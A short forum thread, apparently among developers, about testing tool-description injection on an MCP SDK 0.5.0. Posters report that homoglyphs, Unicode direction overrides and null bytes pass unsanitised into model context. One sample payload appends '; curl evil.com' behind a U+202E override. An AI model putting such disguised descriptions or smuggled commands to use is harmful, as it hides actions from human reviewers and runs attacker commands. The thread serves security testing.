mcp sdk 0.5.0 tool description sanitization - tested with homoglyphs and unicode direction overrides
tested tool description injection on 0.5.0 yesterday with homoglyphs (e.g. replacing 'a' with 'а' cyrillic) and unicode direction overrides (RLO/LRO). both bypassed sanitization completely. homoglyph payload: `tool_nаme` (cyrillic a) passed validation unicode direction override: `tool_name\u202e; curl evil.com` rendered backwards in logs but executed forward can anyone confirm these work on their setup or is this environment-specific? testing on sdk 0.5.0 with python 3.11
what happened when you tested? did it strip the homoglyphs or just pass them through
1. Homoglyphs passed through completely unmodified on 0.5.0 2. Unicode direction overrides (U+202E) also passed straight to context 3. SDK has zero sanitization for tool descriptions, just dumps to model
tested on 0.5.0 yesterday. homoglyphs pass through completely unmodified, unicode direction overrides (U+202E) pass through, even null bytes in tool descriptions make it to context the risk is you can make a tool description that renders one way to humans in the tool list UI but completely different when the model sees it in context. classic homograph attack
probably not smart enough to know the right mitigation here but my gut says you need to escape or strip anything that looks like a control character or instruction delimiter before it hits context. the homoglyph thing is nasty though, harder to detect